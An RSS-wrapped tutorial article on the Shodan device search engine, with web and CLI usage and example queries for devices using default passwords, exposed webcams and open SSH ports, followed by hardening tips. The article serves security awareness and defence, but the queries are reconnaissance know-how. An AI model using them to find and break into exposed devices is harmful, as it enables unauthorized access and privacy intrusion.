                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1725990169364/3181020e-abd0-4943-a461-830c2a416035.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Shodan is a search engine that discovers devices connected to the internet. In this article, we’ll look at why it’s both a valuable tool and a potential threat.</p>
<p>When you hear the term “search engine,” your mind likely jumps to Google, Bing, or Yahoo. These platforms are familiar to most of us, helping us find websites, images, and news.</p>
<p>But there’s another search engine out there, one that most people have never heard of. And it’s a lot more powerful and dangerous. It’s called <a target="_blank" href="https://www.shodan.io/">Shodan</a>.</p>
<p>Shodan is a database of online devices, many of which are not meant to be public. The scary thing about Shodan is that it can have one of your devices, too.</p>
<p>Let’s look at what Shodan is, how it works, and why it’s both a valuable tool and a potential threat.</p>
<h3 id="heading-what-is-shodan">What is Shodan?</h3>
<p>Shodan is a search engine that discovers devices connected to the internet. This includes everything from simple webcams and routers to complex industrial control systems.</p>
<p>Traditional search engines index websites. Shodan scans the internet for devices and lists them based on their IP addresses, open ports, and other publicly available data.</p>
<p>Shodan works by scanning the internet using specific protocols to identify connected devices. It collects all information about the device.</p>
<p>These include IP addresses, open ports, and even the software versions in use. This data is then made searchable by allowing users to query the database. You can look for specific types of devices or vulnerabilities using Shodan’s UI or the CLI tool.</p>
<p>Let’s look at how you can use Shodan both via the web interface and the command line.</p>
<h3 id="heading-how-to-use-the-shodan-web-interface">How to Use the Shodan Web Interface</h3>
<p>Go to <a target="_blank" href="https://www.shodan.io">shodan.io</a> and create an account. While some searches are possible without an account, you’ll need to log in to access most features.</p>
<p>Also, you will need a premium account to find most devices, and the results of the free plan are very limited.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726210817675/e3c7f492-7b0d-4914-be7a-6cf8dc26524a.png" alt="Shodan home page" width="1600" height="786" loading="lazy"></p>
<p>On the homepage, you will see a simple search bar. You can type in general queries like “default password” or “webcam” to see what Shodan can find.</p>
<p>For example, typing “default password” will list devices with default settings. They are vulnerable to unauthorized access.</p>
<p>Shodan also allows you to filter results with specific parameters. For example:</p>
<ul>
<li><p><strong>Search for specific devices</strong>: If you’re looking for webcams, you might type “webcam country:US”. This query will return webcams located in the United States.</p>
</li>
<li><p><strong>Search by IP address:</strong> To see details about a specific IP, type the IP address into the search bar.</p>
</li>
<li><p><strong>Search by port:</strong> To find devices with a specific port open, use a query like “port:22”. This will find devices with SSH (port 22) exposed to the Internet.</p>
</li>
</ul>
<p>After executing a search, Shodan will present a list of matching devices. Each result includes the IP address, open ports, and the software on the device.</p>
<p>For example, a search for “port:22” might find SSH servers and their configuration details.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726210856807/253a6a4c-e418-4a8f-ad3d-553a4a339686.png" alt="Shodan search results" width="1600" height="830" loading="lazy"></p>
<h3 id="heading-how-to-use-the-shodan-command-line-interface-cli">How to Use the Shodan Command-Line Interface (CLI)</h3>
<p>For advanced users, Shodan provides a command-line interface (CLI). It lets you search and automate tasks.</p>
<p><strong>Note: API usage may be limited based on your account and you might have to pay to use it.</strong></p>
<p>Before you can use the CLI, you will need to install it. You can do this using Python’s package manager, pip. Open your terminal and type the following.</p>
<pre><code class="lang-plaintext">pip install shodan
</code></pre>
<p>Once installed, you can see if it works by trying the help command.</p>
<pre><code class="lang-plaintext">shodan -h
</code></pre>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*j-AeWDwmtsLvczJEj1U2yQ.png" alt="Shodan help" width="600" height="400" loading="lazy"></p>
<p>Now you have to add your Shodan CLI with your API key. You can find your API key on your <a target="_blank" href="https://account.shodan.io/">Shodan account page</a>. To set it up, use the following command:</p>
<pre><code class="lang-plaintext">shodan init YOUR_API_KEY
</code></pre>
<p>Now you can start searching. Here’s an example of a basic search:</p>
<pre><code class="lang-plaintext">shodan search "default password"
</code></pre>
<p>This command will return devices with “default password” in their banners. This often indicates poor security practices.</p>
<p>You can search for devices with specific characteristics as before:</p>
<pre><code class="lang-plaintext">shodan search "port:80 country:US"
</code></pre>
<p>This command finds web servers (port 80) located in the United States.</p>
<p>To get detailed information about a specific IP address, use this command:</p>
<pre><code class="lang-plaintext">shodan host 8.8.8.8
</code></pre>
<p>It will return all known data about the specified IP. This includes open ports and detected services.</p>
<p>To see more commands or debug CLI issues, <a target="_blank" href="https://help.shodan.io/command-line-interface/0-installation">here is the official documentation from Shodan</a>.</p>
<h3 id="heading-the-good-the-bad-and-the-dangerous">The Good, the Bad, and the Dangerous</h3>
<p>Shodan is a double-edged sword. It’s a powerful tool for cybersecurity professionals. It also poses significant risks if used with bad intent.</p>
<p>Security teams use Shodan to find exposed devices within their networks. It allows them to patch vulnerabilities before someone can exploit them.</p>
<p>Researchers can track vulnerabilities or malware by monitoring devices on Shodan.</p>
<p>Unfortunately, Shodan can also be a hacker’s dream. Hackers can use Shodan to locate devices exposed to the Internet. These include webcams, servers, and even industrial control systems.</p>
<p>A worrying fact about Shodan is its ability to find industrial control systems. An Industrial Control System (ICS) controls and monitors industrial processes. It’s the “brain” behind machines in factories, power plants, and water treatment plants.</p>
<p>Shodan has found thousands of unsecured, internet-connected industrial control systems (ICS). In some cases, these systems had no password or used default credentials.</p>
<p>Shodan has also indexed thousands of security cameras, database servers, and IoT devices. These raise serious privacy and security concerns. All these can be easily exploited if not properly secured.</p>
<p>To protect your own devices, you must understand Shodan. You need to know how it works and what it can find.</p>
<p>So, how can you prevent Shodan from exposing your devices?</p>
<p><strong>1. Change Default Credentials</strong>: Always change the default usernames and passwords on your devices.</p>
<p>2. <strong>Use Strong Passwords</strong>: Avoid weak passwords. Use a mix of letters, numbers, and symbols, and consider using a password manager.</p>
<p>3. <strong>Disable Unnecessary Services</strong>: If your device has services you don’t use, disable them. This reduces the number of potential vulnerabilities.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Shodan is a powerful tool. It’s a reminder that any device connected to the internet is potentially exposed. It offers useful insights for cybersecurity experts but also an opportunity for cybercriminals.</p>
<p>Knowing what Shodan can do should make you take cybersecurity seriously. In a world where everything is connected, your security is only as strong as your weakest device. Stay informed, stay updated, and most importantly, stay safe.</p>
<p><em>Join the</em> <a target="_blank" href="https://www.stealthsecurity.sh/"><strong><em>Stealth Security newsletter</em></strong></a> <em>for more articles on offensive and defensive cybersecurity. To learn how to build a career in Cybersecurity, check out</em> <a target="_blank" href="https://book.stealthsecurity.sh/"><strong><em>The Hacker's Handbook</em></strong></a><em>.</em></p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
